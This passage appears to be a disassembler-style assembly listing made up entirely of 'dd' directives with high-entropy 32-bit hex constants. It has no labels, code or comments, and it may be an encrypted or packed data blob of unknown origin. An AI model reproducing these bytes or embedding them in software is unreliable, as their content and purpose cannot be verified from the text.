		dd 6097A2Ch, 0ED78386h,	0EF617695h, 4A17CBA5h, 70275A0Dh
		dd 25F43EB2h, 520A5890h, 3F3077E9h, 0E84B5D9Eh,	0C2645665h
		dd 5601C2E3h, 57CEEE89h, 77404CB0h, 31017F17h, 38E99E80h
		dd 7224BD64h, 58D10B05h, 232C1803h, 0C4402476h,	927CD1BFh
		dd 5EBCC256h, 8CDA595Fh, 0AD0A23C5h, 4770FBECh,	5B675C9Dh
		dd 291C07F9h, 53BF4B4Eh, 8D724469h, 2D5F00ACh, 5A187F85h
		dd 0D1C0127Ch, 7968DE8Eh, 6617046Ah, 0F1BA1B44h, 76F83B6Fh
		dd 0FE02AA93h, 5672B051h, 6D82C070h, 2D266065h,	0EA60C901h
		dd 9ADA2710h, 0C129098Bh, 0C7FC8BE9h, 45B65286h, 59C940B0h
		dd 66EA6827h, 5623A2D1h, 0B4FF2D1Fh, 95DDEA21h,	0F989B730h
		dd 0A640FCB0h, 0CE082758h, 0CF84E72Fh, 0C298AEAEh, 0F6854450h
		dd 8945770Bh, 72FF8039h, 135C1126h, 634B3F68h, 34AFFE7h
		dd 0EC61DCACh, 70E61640h, 0E005EB11h, 3108B7ECh, 0D54EDF82h
		dd 0BB02E1D2h, 3EDC7341h, 688A8129h, 1C764B37h,	3301D700h
		dd 7BFE2D4Ah, 1466CD3Ch, 120705C8h, 0C4A0CCE9h,	343B0BBBh
		dd 0E44B4DC7h, 0C3CB27F3h, 3BB034CEh, 78D6F337h, 1F09BE8Ah
		dd 426151A2h, 240A9F8Ch, 2C430C08h, 42973EBCh, 3D4BB45Fh
		dd 81305543h, 3C5DC106h, 1D903B73h, 0D86A9C07h,	0D30F76Bh
		dd 7579699Bh, 51670B14h, 7C507Bh, 0CAF87317h, 209C591Ch
		dd 6929ED04h, 50BF6CADh, 385F08EFh, 0C941EA3Fh,	79EDC230h
		dd 84515E06h, 88CBAE92h, 6F685E04h, 0C038EF0Fh,	666C0BC6h
		dd 45D23383h, 0F95D0882h, 99E94259h, 4857BC6Ah,	1222C6C0h
		dd 466F328h, 5409CE4h, 12A0FB29h, 0F4761B8Eh, 50C8D66Fh
		dd 0E91342E2h, 5D412549h, 46887583h, 751C6621h,	3109B7F8h
		dd 8426475Fh, 0AB542A68h, 31309129h, 4960822Eh,	0B40F500Fh
		dd 1DCF66Bh, 0E3280EECh, 46BCB07Fh, 3B48D9F3h, 17117112h
		dd 0CF85EF4h, 57225127h, 0B6D62CFCh, 4FD56AC4h,	0C0F1E0AFh
		dd 0F38AEB50h, 0DE28CF12h, 53E49AD1h, 87BA5200h, 34CC3D16h
		dd 91018512h, 8EB0E902h, 82CC343Eh, 0E9DF2CCDh,	1BDDFD72h
		dd 3116512Ch, 0B039FED8h, 86CB983Ah, 0F8C4E454h, 0E0D15F00h
		dd 6D9C7C35h, 0AD48B71Fh, 4082D685h, 3D26026Ah,	34AD1353h
		dd 84CBC1C8h, 1A3D771Eh, 0F7F6F5C9h, 56571CECh,	0C0D02F3Ch
		dd 3950B9D5h, 83BDF203h, 3F5465E1h, 0C877F26Ch,	91777C7h
		dd 89E936E6h, 0ED5DFFABh, 0BF5092FAh, 0E975D137h, 5F25DC1Ch
		dd 0A179231Ch, 1E75BF80h, 980AFC0Bh, 0DB04C755h, 0D89241E5h
		dd 0C563D22Ch, 7453122Fh, 0CA6C0916h, 1271494h,	281AF5FAh
		dd 5A5BCEFDh, 7BB6A7C6h, 4A753E59h, 337ABBC0h, 0B678BDF7h
		dd 309FE97h, 0E259A8C5h, 0DF7AD214h, 0BC7FA985h, 0B8508474h
		dd 0ECC28024h, 755FB439h, 0F54177FCh, 0BD0BB0A0h, 0CCBFCDF0h
		dd 5A44203Eh, 3CC33124h, 5277516h, 7615A080h, 886ABF72h
		dd 89590802h, 43327975h, 92F4CF31h, 7B56D459h, 3E18BE02h
		dd 0F29487B1h, 37F9D2C5h, 0F337EC4Eh, 56582789h, 0BD3A9E77h
		dd 755A4A56h, 24954B96h, 0A2AE6C29h, 9F324F38h,	2E2B4C51h
		dd 9289A5E9h, 1049F9BAh, 4E7E5429h, 2D80C0BEh, 0A42D1CF7h
		dd 438B5125h, 48124729h, 0FBB4EB9Dh, 0F2591852h, 22F00C4Fh
		dd 5F1D2504h, 9AC1D189h, 2ABCBCA9h, 41BF5781h, 31178E12h
		dd 754CC079h, 2164E4Fh,	0B2A2D84Bh, 0E29241CFh,	45D6352Ch
		dd 0F477E3A8h, 281C9F1Bh, 0DA9F4801h, 0BD227353h, 44787402h
		dd 769724EEh, 8809AA74h, 1523DEC0h, 646C288h, 29104A30h
		dd 883D2FAh, 94A61C3Dh,	0B58C166Ah, 0E4D3E4E3h,	0A55C34Dh
		dd 13CDE063h, 5A3F4B00h
		dd 5E6ACA81h, 703661D4h, 0F4DF5FEDh, 0AE487BE9h, 6F21A0D3h
		dd 0E9CFC21Ch, 7B5FB4D9h, 0BB6F65F6h, 52DE1C41h, 98605A56h
		dd 3F44413Ch, 8101D0FDh, 0E324B6CDh, 17F5D802h,	3970717h
		dd 40D1EDE0h, 68045F9Eh, 4E33632Dh, 0FED7FAA8h,	17EAA4C0h
		dd 4513305Bh, 370E6F0Ch, 0BA9614Eh, 27510840h, 568007E9h
		dd 0E120FAB4h, 3B09F6B9h, 0A7905149h, 957C96F7h, 94CD165Dh
		dd 49B8C2E0h, 5CA1B8FFh, 0FDB040Bh, 0A5615085h,	629AF9A8h
		dd 0DE266F7Dh, 43D788CEh, 0B1525BF8h, 69ED68C6h, 82E93F57h
		dd 543C9EA4h, 0E846493Ah, 0F17B0B2Dh, 254250B3h, 0C1725DB4h
		dd 4CE8A7A6h, 0C0494A4Fh, 4B373428h, 0E794E973h, 170C2C0Eh
		dd 0CBB23FB0h, 548FD00Ch, 0D6E96482h, 8601F058h, 0A9B753D9h
		dd 487CFFEh, 33D4C780h,	0A8B516F7h, 54F92D09h, 12E0013Eh
		dd 80781CE9h, 0EFD15816h, 0B706E7C1h, 0A67CEF60h, 0A5804D9Eh
		dd 0BD7E9910h, 66EF135Fh, 0CD8E4B81h, 73586DE2h, 1CEC581h
		dd 8D3BCA68h, 9D4BF4FFh, 2C13C6BDh, 0AEB0C7F6h,	0D00582C0h
		dd 0D857A51Ch, 568530B7h, 776ABE32h, 6A4CEC27h,	5848B1ECh
		dd 9D3FB120h, 18829D66h, 370B015Dh, 0FC3E1999h,	54DF8525h
		dd 8CF431AFh, 0D28B4728h, 56E9DCEEh, 74960FBh, 41734500h
		dd 122F2540h, 4FFAB897h, 0C371D0BBh, 2E256F33h,	9108532h
		dd 0E95EE080h, 4A9960C7h, 7D9B6853h, 344E502Ch,	71F3B05Bh
		dd 37A50B6Bh, 9D02D3F7h, 28F4E173h, 0BC525E78h,	0EA896191h
		dd 561A605Dh, 53C87817h, 0B5CC4FFh, 40E65A08h, 5B989691h
		dd 2F0A9726h, 0A08503B7h, 5158B9C0h, 0F4F86DC4h, 0C1280EAh
		dd 5576B337h, 0A90ED05h, 0D4FE119Ch, 1C081A4Ah,	995A1405h
		dd 16E430FEh, 68DA6082h, 0F034411Ah, 18B7836Bh,	8218B538h
		dd 0BAF5E382h, 92E7CBFDh, 0D0EF7FDh, 6E55C3EBh,	594C2F1Eh
		dd 5EC9ACD9h, 0E0E9E3FBh, 0CB91D08Ch, 0CD3D3F02h, 0F75DAA2Dh
		dd 98EF013Bh, 55249CF7h, 7C370B68h, 65C01125h, 527FCADh
		dd 2FFA7C69h, 10904FCh,	387AC6E1h, 163E2FCCh, 90F388AAh
		dd 7CEB0CC1h, 1D462A8Dh, 1C48417h, 0E95E90EEh, 0CBBE3A35h
		dd 0D5452E3h, 11E957EBh, 0B78F2E23h, 0E9193320h, 5690F0CCh
		dd 0F6813B30h, 32217C34h, 0D32B2F89h, 0EB802C60h, 0DFADF44Eh
		dd 0A9200884h, 56491294h, 8ADA1FBCh, 75A71995h,	677F2C29h
		dd 0B2E9418Ah, 0C623800Ah, 359F323Fh, 0C07E9D5Dh, 0E836D262h
		dd 0F056F3DDh, 776AB502h, 0A32F23C0h, 4BDC6880h, 50B22245h
		dd 0C191EF63h, 0FAE2D658h, 514548D9h, 0E9FE0C80h, 898F6936h
		dd 311F35F8h, 0ACEE1B75h, 0CE845644h, 0EE890B05h, 0C3246A9h
		dd 0DE0B1F92h, 81063062h, 3B5EACC9h, 2F189E0h, 40B37192h
		dd 0EB62CA21h, 0B9127A70h, 1EFA2FD8h, 784C12Fh,	20531D4Fh
		dd 6513B141h, 0DB80565Eh, 5BF708B0h, 8448C532h,	0E9F5020Fh
		dd 1CFD04D0h, 0A991FCF0h, 5C255E94h, 882BFE21h,	88135B41h
		dd 0B5C433C5h, 0B29C51E9h, 0B8009341h, 4A37AC2h, 47DF3501h
		dd 90D1EF34h, 3720D0F7h, 1A3013B7h, 7B0BF1E4h, 1844E444h
		dd 4051E902h, 0C14113D5h, 7972F39Bh, 1B72D400h,	0E5C15A01h
		dd 462065Ch, 22156CBDh,	26D4C6FBh, 0A1247AFCh, 8F3BAA37h
		dd 89519145h, 0B0F076EBh, 0A641920Ch, 4829713Eh, 43084139h
		dd 7102DCEDh, 2A72B4EAh, 0EE0BD763h, 0F2203BFFh, 60F962E8h
		dd 4E37F18Dh, 2D504048h, 40D764EDh, 5E4CE958h, 0A4534C8Dh
		dd 8B99DF6h, 175FFFC4h,	0AA183AAh, 41EA8B5Fh, 456F6D70h
		dd 470CA82Ah, 89EF3C01h, 6B78E9F5h, 68508E22h, 30487B07h
		dd 0E85387A3h, 2398F603h, 14C1042Dh, 0C5622019h, 0A982894Fh
		dd 20F672DFh, 0B904C053h, 43D41BE1h, 0BE565A80h, 72D702B2h
		dd 5EF13196h, 0AEF650D2h, 4F82F6BDh, 34847F25h,	3927EA81h
		dd 0E44082DBh, 0EEF777h, 70962C20h, 8BC84A5Bh, 405A3C57h
		dd 60860035h, 0D8F7122Bh, 930B112Dh, 0D521BEBBh, 681659E6h
		dd 0F88D39A4h, 6A720E80h, 7C7FCF81h, 0B9F7D49h,	2752E0Eh
		dd 5454ACDEh, 319B8289h, 20C56236h, 200DBD81h, 872E290Fh
		dd 5F461CF6h, 0AF33D112h, 64DA4801h, 0C8213D31h, 8028231h
		dd 40A85458h, 0FE3A37BAh, 823C399Ch, 0CA7BB3C1h, 0B16A5F16h
		dd 80A6080Eh, 0D35F8136h, 0E47E3AC9h, 725D576Eh, 2BE00F98h
		dd 6809F7C1h, 0F04C5796h, 8BB9C848h, 0E1445D75h, 0F4B7EFFAh
		dd 0B0FE4930h, 7487D52h, 0B3979C23h, 9094D7CCh,	44CB1E12h
		dd 0C3766343h, 433B4D57h, 62BDAFC6h, 2DB96606h,	0E259B4D1h
		dd 0EAFC90Ch, 483009BDh, 0E500574Eh, 498C13E3h,	75E4A9A0h
		dd 0E928CE1Dh, 0C8891D52h, 0D30EE97Ah, 5009F0C8h, 4ED25DFAh
		dd 5168BBD3h, 0B89440ECh, 0BDA4331Ch, 86C7318Fh, 0B74C5039h
		dd 0C202AB7Ch, 7D12AC71h, 0F0AE2E45h, 746DDDE9h, 4C70D12Fh
		dd 0A76BE9D1h, 9575698Bh, 0F713E43Ch, 813C1ED3h, 96FEE47h
		dd 1F872AFBh, 3D053047h, 0D2844CBAh, 0CA078104h, 21621577h
		dd 9EC7EAD4h, 0A46E5A30h, 577895F3h, 97D91D20h,	0C57D8D4Ah
		dd 0C0529F53h, 0E9EEEDBAh, 0D9AB9E5h, 0BB68490Bh, 8266DE7Dh
		dd 5C4EE2C3h, 1C4FC055h, 6C6F1376h, 81E2C589h, 3B3478D3h
		dd 0B55A778Ah, 0F0956E93h, 0C19341ABh, 710AF939h, 0EEF36E34h
		dd 27E90C40h, 0BAFFCCEAh, 0DA48012h, 4C3EDD0Eh,	0A5507C83h
		dd 0B7E51D09h, 0CE374825h, 66ED6805h, 4AC1EDh, 80D2F649h
		dd 531371EAh, 0C8099BB3h, 0C48D51BAh, 4AD1EC3Bh, 68A037B9h
		dd 79157E7h, 552057ADh,	7B6433DBh, 6D6CE912h, 0F88439FAh
		dd 9895CF2Bh, 94B2F263h, 58544329h, 8B1E5CD1h, 66938C91h
		dd 5306CF6Fh, 0B3054F85h, 545013CCh, 2D69CCAEh,	0AF56553Ch
		dd 752883Ah, 0CC71C224h, 0AF5BDB78h, 1731D29h, 610715D3h
		dd 1EB4F85Fh, 6380CB81h, 55684ACEh, 3727C44Dh, 0A6B900BBh
		dd 480AB772h, 3A013153h, 3CE9774Ch, 23DA3E9Eh, 102A9B42h
		dd 0B819D683h, 7AE9F017h, 6D79BDFDh, 58E5023Dh,	92972EAh
		dd 0E0A401D9h, 0C73BC902h, 7768D5B1h, 601226F3h, 6CDCAh
		dd 125E5214h, 0F96C34E9h, 2F393811h, 0FC0A94E2h, 201C14F2h
		dd 4720CFD0h, 4BA2BE02h, 0C03119EAh, 0B49472EEh, 4DFD4BF6h
		dd 4E7EA5B4h, 0D62B8669h, 6C30723h, 1E016207h, 8CB10D2h
		dd 29550C6Bh, 200AF2E5h, 5E1ED050h, 0C686F29h, 16D23E5Ah
		dd 7EAD7DC5h, 0F5F42A0Ch, 7168125Ah, 4FAFCA0Ch,	522EAFB6h
		dd 0A9E0132Ch, 0FF623CF1h, 73CC6D4Bh, 3AEB0968h, 7E9002E9h
		dd 71974386h, 15B0C0DDh, 0C26D0F6h, 53090B0Eh, 3AD88288h
		dd 0CFBF0048h, 0F0B59E44h, 10D30B02h, 4958BA2Bh, 857003B5h
		dd 0C75D3F0Fh, 5B4B337Ah, 0B4A12C0Ch, 5EFF031h,	4EC31010h
		dd 9C9E7F05h, 931FC0DFh, 7236F960h, 0D3624C1h, 3B0274A4h
		dd 0FDBFF00Ch, 5C6EC06Bh, 17125C6h, 47041D05h, 57FEE909h
		dd 11B20F00h, 0F0A138B7h, 8BD9E08Ch, 0B1F4014Ah, 91D8F907h
		dd 143B12E8h, 0EB04BE31h, 5F909F4Eh, 736511F6h,	87562F0Dh
		dd 0E9FB10D7h, 0A0E2B5A8h, 0CB14D9DFh, 6A69E177h, 8A9D12Ah
		dd 0BD01056Eh, 77065142h, 71608082h, 40D5627Bh,	48D0E774h
		dd 2F18E374h, 0B5F589D7h, 760CE2BDh, 1A7525DEh,	1186F7C3h
		dd 20206723h, 0BE549D5Dh, 8E82E5ACh, 4022654Bh,	0EA6A1110h
		dd 26329492h, 20522F73h, 0E9D52906h, 0B67ADEB2h, 0A1E082Ah
		dd 0E93BA01h, 0C7E86F17h
		dd 522C0EEh, 63CF25DFh,	2DE82914h, 0F75D1307h, 510AF3ECh
		dd 94E7A031h, 761ED302h, 0C441942h, 6FA020A2h, 6BAB60F9h
		dd 0C4A1830h, 4E84D4B6h, 4076A80Bh, 7A16AD99h, 7FE118CCh
		dd 3122976Ah, 60140DB9h, 4509C793h, 0D613E1CBh,	995016EDh
		dd 9AEC3E69h, 0C8DCE9B0h, 8BB4F4B7h, 0D7989096h, 5B0A3668h
		dd 9D5F0851h, 0E8B4893Ah, 572C4030h, 0BD5798E9h, 0C4FCF62Bh
		dd 0A722AB6Fh, 36625D6Fh, 4A1254CAh, 1E572D26h,	0C44890BCh
		dd 0AC4E4F5Ah, 33DCF4DAh, 70EB9401h, 0E5BFC3AEh, 0FA4B344Bh
		dd 0C9F9A989h, 1AEBEB24h, 14411C0Fh, 44E58B7Fh,	2D447CA6h
		dd 26586755h, 1E256816h, 7821DF60h, 0C17F0080h,	0E94E07EEh
		dd 0ADC65605h, 74908F5Fh, 4746BDE8h, 95C5F94Eh,	66909B8h
		dd 36824260h, 362D43Bh,	8A3494E5h, 31E2640h, 89B7028Fh
		dd 7CD4FA53h, 0CEDE780Bh, 0F33CA0E1h, 5A952F67h, 0B48783D6h
		dd 11DD0B65h, 26023BECh, 0AD5B038Ah, 64BDF7A2h,	0BAE36675h
		dd 97B33061h, 7444F567h, 268D7048h, 44AE02A3h, 609BE978h
		dd 12EA1749h, 557B9248h, 5F09B938h, 0A52838EEh,	0ACA9859Dh
		dd 9A1182h, 62217AB8h, 0C3123473h, 0DB045658h, 50842846h
		dd 0F200A0BCh, 967205F7h, 9ECBD689h, 0D2C475BFh, 27A35A5Ah
		dd 968EBC4Fh, 788440E8h, 0EBAC124Fh, 0F03CEF93h, 0A3681257h
		dd 94BEA248h, 0FB057EBCh, 586EE010h, 0B25626ABh, 0B5817ECh
		dd 3DB10A6h, 0C0CFFE00h, 0B25208E7h, 0D7074574h, 38EF805Ah
		dd 0C327FCEh, 87F7CFFh,	0D2CD3B4h, 0F15BEE04h, 90C00A87h
		dd 0C73B8421h, 0A671860Ch, 0F02A6620h, 0C25C82F3h, 0D0FAB517h
		dd 464B42E1h, 23B5C09Fh, 9FD07D2Bh, 8947D481h, 62EADD06h
		dd 2E681FB6h, 6EF699A7h, 81F70BEAh, 585AD1B8h, 0DD062C7Fh
		dd 0C1BDA56Eh, 0BE762BC8h, 30393671h, 0C3FBA05Eh, 61CAF75Fh
		dd 0E976604Ah, 0BD8013F2h, 4F3A1266h, 7F25AE3Dh, 0EF0306E4h
		dd 4F169A3Fh, 0C497FEE9h, 1E72D4Bh, 6E024DA2h, 2F582241h
		dd 426B4ABAh, 6541ED46h, 0A3FB7163h, 622DB802h,	7A59B87Bh
		dd 0CBF42079h, 19086818h, 8010A2C1h, 0C8E0CEB1h, 0C33E909Dh
		dd 2D5E8072h, 683A3E09h, 74005533h, 0DDAC4335h,	5A7A8FFBh
		dd 0EA79091Bh, 58080603h, 9AE070Eh, 0F4E9A2BAh,	0D0F5EBB3h
		dd 4C0FD6Eh, 0A72EB43h,	915F50ECh, 2ED5E959h, 0B3EA89C4h
		dd 20EA94D1h, 476097B6h, 0B1CBB39Dh, 460A0929h,	6581FE12h
		dd 0EA2D1E7Ch, 4BBFA795h, 965D57C5h, 92681754h,	31D18D10h
		dd 54108FDCh, 0D5C0EB5Eh, 2E080BB0h, 5355A312h,	7F1ADEA6h
		dd 8C60F6A5h, 7212CDEAh, 0E1AB5694h, 1C0806C9h,	1B71280Bh
		dd 408B5757h, 0A721477Fh, 4A4280EAh, 0C1809868h, 592EF278h
		dd 40B434B0h, 0D97580BFh, 3A34A10Fh, 0F4C62229h, 2E4609DFh
		dd 190261F9h, 2902F163h, 8A7DE0FBh, 3E671F49h, 0CF0A8B5Fh
		dd 84A0CFD4h, 1F11BC09h, 59DDFC79h, 0AC0F45F2h,	505E25ECh
		dd 9704744Eh, 8C275822h, 0F795DD0Fh, 585C09A2h,	2FC5FD21h
		dd 3285F227h, 59B997DBh, 94ABF1D7h, 9E85B528h, 828BB8B5h
		dd 0F7D58851h, 5EBF3878h, 0AE84F289h, 19E9B66Fh, 4EB2E883h
		dd 0B8570364h, 34C40B2Bh, 707846F4h, 0B7DBE3Eh,	0DC15E92Ch
		dd 0BB382FAAh, 6AB2D5F7h, 0E955835h, 0E0EC560Bh, 17565B9Ch
		dd 0AC777E68h, 53CCC125h, 0C04143F7h, 403F9ADAh, 0AC4A4078h
		dd 9109053Ah, 57711F06h, 432DA180h, 82257BD0h, 0BFA7C09h
		dd 1F56253Ah, 0A7A111E4h, 8BFA43Ah, 8B410BF4h, 0BD92FA60h
		dd 1C51D0D6h, 2EA3CD01h, 317B05E7h, 0C00B3DE6h,	0D95CA58Bh
		dd 3F19ECAEh, 16B5B0Fh,	3B0AD2DEh, 5513148Eh, 10C5709h
		dd 5A2069F0h, 1B1EE0DEh, 159C3E68h, 2E59E703h, 0CFB02D87h
		dd 7CE4368Fh, 0B513E918h, 16EFC363h, 0B8247A56h, 0FE655091h
		dd 0FA829913h, 985BF8F8h, 9F92B5BFh, 44815F17h,	12D22CA8h
		dd 68E6C07Eh, 0E5C92671h, 5742267Bh, 86843822h,	7F75EE4Ah
		dd 4578CBA4h, 0B2F3C20h, 90BC1BE9h, 242FF290h, 1F08CE9Eh
		dd 20AC9D45h, 0D6BFD1F0h, 0DA878234h, 5C55F468h, 1FC94B85h
		dd 68E750B6h, 459B6A86h, 0BF593902h, 0B913C066h, 660E902h
		dd 0D7091341h, 8B05EB23h, 7AB8A493h, 947B8C1h, 0FD4A302Fh
		dd 4DD72204h, 0EA81DAF7h, 53E56F8Fh, 76A9F03Bh,	7A124378h
		dd 0A3B91CE9h, 0B17C8B2Fh, 4C16B99Fh, 3AB80880h, 26A80F16h
		dd 4B8EC231h, 0AB653497h, 0D15DA081h, 0D0A2FD3Eh, 0D73C36B0h
		dd 5AA53D74h, 0FAAE17A5h, 0DF8742EBh, 0BF01F8CFh, 6C8A7B4Dh
		dd 12952860h, 583F2852h, 58FD1272h, 0C093030h, 4F064EB1h
		dd 2141FE63h, 0AE2DC3AFh, 610BB06Fh, 0DF92AC6Bh, 6C2D6D67h
		dd 0F1D94F0Ah, 0B5356AA0h, 840CE912h, 62E6E27Fh, 8A2E2DB2h
		dd 950B060Ah, 1E99FA82h, 0FB395463h, 0EE0DE235h, 22056301h
		dd 0DE311C57h, 6CAC84E2h, 46E6F016h, 5897DD7Dh,	0D5DDE749h
		dd 26C1F4DEh, 0B80213A0h, 1332C417h, 2812E615h,	1E89EDA8h
		dd 7F39D7B2h, 0FE4A5A7Ch, 0C63D94A9h, 21E9E687h, 67DD0B90h
		dd 0F32189E3h, 0AFA08D04h, 12C10CC8h, 0B8FA54DFh, 0DBB35FF3h
		dd 0C764E9C2h, 171EA990h, 242212Eh, 4BFD07AFh, 0BE2D1318h
		dd 6B5B614Fh, 0C3F32EC2h, 997DC680h, 0D3308FEEh, 5F5488BBh
		dd 0D3695C9Dh, 7552F9E8h, 770C2A61h, 1F9F344h, 1AB9C47Bh
		dd 14010C08h, 2361EDE9h, 725785Eh, 0AA6FC8D7h, 4BBB7C40h
		dd 0E946F489h, 0E206A4Dh, 2C96852Dh, 0EB86C86h,	112F307h
		dd 580840D0h, 6487719Dh, 0D3F8B8D5h, 0C81047B9h, 0AEAD4F98h
		dd 39C64860h, 3FA0EA09h, 45972502h, 0AFF40C3Bh,	0AB0FEF17h
		dd 644F0102h, 33AA9C1Eh, 9EFC624h, 0B7071CD7h, 14C2E856h
		dd 0F44AEE3Eh, 4B89B74Eh, 575ADA76h, 54518068h,	0BBFB298h
		dd 7630DD66h, 2205792Eh, 5E2C14Ch, 0D1C5B283h, 0C3200D32h
		dd 0E309090Fh, 0E6F58988h, 0C8729DAEh, 0EC6C8609h, 0D8307D4Dh
		dd 0FBC8C8Eh, 73549CAh,	41A29280h, 815D0D53h, 2B0DA6F6h
		dd 0B2EBEE85h, 40A99AF4h, 982890FFh, 57C0C91h, 3AE6555h
		dd 4D6A5B10h, 0FFDC0D3Dh, 4907714Ch, 0C07F2114h, 0AF6A2CCBh
		dd 5DE4148h, 329271C3h,	0C2515783h, 0C7D4E0B9h,	25969B52h
		dd 2629AEDAh, 0A4AD4761h, 61EE5193h, 3CD09F66h,	9AF965Ah
		dd 0F872BE7Bh, 17D76805h, 64D027F2h, 60027042h,	0F109CE1Dh
		dd 561C2640h, 0DBBBD689h, 5827BEACh, 0D1B904C0h, 0B7BE6226h
		dd 56AAC101h, 0B16A7A27h, 21E9E196h, 6FEF0023h,	609D49C7h
		dd 16E3C2AFh, 64F92961h, 0A30BAF93h, 0F6227F56h, 0F3520D78h
		dd 15E0780h, 3300FB79h,	8C5857EFh, 582C685Bh, 2DEAF47h
		dd 0EE72D9Dh, 18A18055h, 0B8199130h, 2B2259B4h,	2514F84Eh
		dd 0A75EFCEDh, 79625A79h, 13900807h, 7EA2B337h,	87C052Ah
		dd 0A797BB5Eh, 7ED4B9D5h, 0FE9025EAh, 20D2C7F6h, 0F9B951CDh
		dd 14BF6804h, 0C9F138E9h, 5FDDC021h, 0E946B653h, 0DA7EACA6h
		dd 0AEBC4EB3h, 0D25DEFBCh, 0B381318h, 0F140308Ah, 24886E21h
		dd 0ED86D8A4h, 0A3AAD236h, 163025F9h, 91E917D8h, 0CA0BBD31h
		dd 534B1258h, 735F6918h, 0B91289DEh, 0E55968F5h, 11B164Ah
		dd 0F0FF1717h, 0CDB5562Fh, 425C946Bh, 49E768A0h, 98D1B3C4h
		dd 2F05FF14h, 0BFD207A9h, 0CBEE39C5h, 0B7E84EF7h, 2670AA5Bh
		dd 7A10A32h, 5E68574Eh,	9925141Ch, 0CDD17A76h, 5D01F4F5h
		dd 0D5B2704Dh, 9BF77F4h
		dd 0D1D9E399h, 0D0834ED6h, 14E42E24h, 71DA0C04h, 0E4B0319Ch
		dd 6F414199h, 172126A4h, 0A9381869h, 8059250Eh,	8C2305E9h
		dd 0B93B5FAAh, 409F73BAh, 48B060B0h, 0E50AFE1Ah, 1CBAE34h
		dd 0DF5B82E2h, 625F301Ch, 0F48447Eh, 1ADA01C7h,	0D329750Eh
		dd 8044421h, 56E99142h,	25ABD97Eh, 649837Bh, 0B52BD50Fh
		dd 0C6EA7989h, 0B9C8D312h, 4F4E8CE9h, 8D279EDh,	0B900888Ch
		dd 37B674FCh, 0CC525F41h, 6A09C2DAh, 0F670EC59h, 6E0C0ADDh
		dd 442141D2h, 0E0C1C043h, 4F350807h, 50ABB70Fh,	255D5EFAh
		dd 70E5FE4Ch, 3FE6C500h, 5AC2257Bh, 40116D2h, 0E9D49F49h
		dd 7B819917h, 0C65E0BC1h, 2F82ED6Bh, 0D4F637C0h, 20A5B886h
		dd 68163D95h, 0D8CC7A06h, 101D1F75h, 0F8805720h, 9884D9E1h
		dd 0FA05D52Eh, 57583590h, 1D680750h, 8B61FD7Bh,	39080FFCh
		dd 495D0FA0h, 7CAF7AE9h, 0BE965B84h, 2083EA41h,	972A6A7Fh
		dd 82BEF2AFh, 6BD59C92h, 0AD0C5A4Ah, 0A2012856h, 0E85D9D6Bh
		dd 2D6AEAB1h, 9C550524h, 0B867906Ah, 0F580077Bh, 53C5FEECh
		dd 0EDC1D5CDh, 10DDC297h, 9D7A9124h, 9B327466h,	0F5556C84h
		dd 5D25C4DBh, 7A573B41h, 680B34A2h, 3C7952EBh, 801488ECh
		dd 969CE0D1h, 504B9305h, 2D55C0AAh, 0E830DEDBh,	5ADFC43Fh
		dd 4D054851h, 4B5EE909h, 30881C13h, 27F661C9h, 42646AB7h
		dd 4EAE4000h, 4AC4B540h, 764ABE4Dh, 7AA85067h, 2D91DA9Bh
		dd 0A253C565h, 7C5C6F09h, 0C0B363F4h, 9C3A2350h, 0DA9F2675h
		dd 0B56C20E5h, 0BA6DDC9Fh, 43C46B80h, 95E8290Dh, 0ABC1E912h
		dd 0F8163BBh, 0AD9FB8Ch, 1D4D8B7Bh, 3C523A85h, 7BF4F501h
		dd 4E702362h, 0D07D19FCh, 0DA3ECA0Ch, 3AB444F1h, 0E9A806BCh
		dd 8180884Eh, 270AFABEh, 2FE80EF6h, 6B2F7B2Fh, 0F824FA4Bh
		dd 8A0CA444h, 0F6C660E2h, 41CDB51Ah, 0B215F727h, 0F4015217h
		dd 519536FEh, 2A5C03Fh,	0BDB8E877h, 78C7CE04h, 0B5C04813h
		dd 4ECC8706h, 2313FBB4h, 0C05A7EE0h, 27A904B9h,	294A7FBEh
		dd 0C9089BDh, 78ADE91Ch, 0F91CB770h, 0D9EA2C4Ah, 5529DEC5h
		dd 5E2FC4F9h, 0B0C61218h, 4E173E7Fh, 8051535h, 5CB98612h
		dd 0FC274202h, 0C85D8975h, 5C619769h, 0E907E51Eh, 2F846498h
		dd 0C1079F7Dh, 0F61CF9E1h, 0FDA4F834h, 0F00AE49Dh, 3200BFE3h
		dd 9605665Ch, 54084A6Bh, 0FABAF55h, 506A41FFh, 9EEACD2Bh
		dd 6CD5680Dh, 0CBE90C72h, 9F09108Ah, 912F9050h,	8028F375h
		dd 47D42D48h, 0A6B833BBh, 0E2E3904Ah, 0A2A0AC4Fh, 82C37C35h
		dd 3F2168E3h, 6614985Fh, 0F8D261Ah, 0D40818Bh, 926431A7h
		dd 6162D9F2h, 48CA415Dh, 0BA88C56Fh, 0F23BFC9Dh, 570CCF56h
		dd 1017A936h, 0B5E8668h, 0C434CEE9h, 5AFFF058h,	12BCF6C0h
		dd 0C2FC403Ch, 25E668E0h, 1BA5CA91h, 3FA81360h,	0C438A8C5h
		dd 5F0BA133h, 0D57138FFh, 0A6362B7h, 0C95CBA09h, 0D86DC781h
		dd 36F0C0B8h, 0DEE9B568h, 6D042ED6h, 0E4EE215Bh, 2764F75Dh
		dd 0CA950123h, 522C97CAh, 51870343h, 0E98858D8h, 0A6A91FE5h
		dd 545442D5h, 0E2D2C9D7h, 5CC9D427h, 6150E685h,	6B322BE7h
		dd 58891FA6h, 5B9D2AEEh, 25C54466h, 0D945CF0Bh,	3A494E2Fh
		dd 0B1A875DBh, 61038024h, 635502Fh, 0FDEF8147h,	0B990167Fh
		dd 2BF3B04Eh, 0BF3F3213h, 20F55B00h, 0B7312921h, 3B0747h
		dd 56C4DF2h, 5FBAE945h,	930CB257h, 0BE1616AEh, 0D16B7F39h
		dd 0DDD531FCh, 3F4375B0h, 3A3592C0h, 0C7405AF9h, 0BFDFB50h
		dd 24DFF14h, 8894F725h,	0DD0C937h, 8FB252B0h, 6F672468h
		dd 53666F5Bh, 34402A51h, 328818BBh, 0DDCBAC6Eh,	49275217h
		dd 6FCC1901h, 0F7CA8701h, 71A84AC5h, 5E735438h,	200C28EFh
		dd 35926EE3h, 0E9ABDDBFh, 0F396037Dh, 0E5370B93h, 0CAD19A68h
		dd 61EFBF83h, 8082E462h, 28288401h, 0BCE6E5B4h,	0D6EEC052h
		dd 35412221h, 8060631h,	9E04EED2h, 53E9788Dh, 0C6476265h
		dd 534495EFh, 0B29BBB9Bh, 604FF55Ah, 0CA1433CFh, 0E25330h
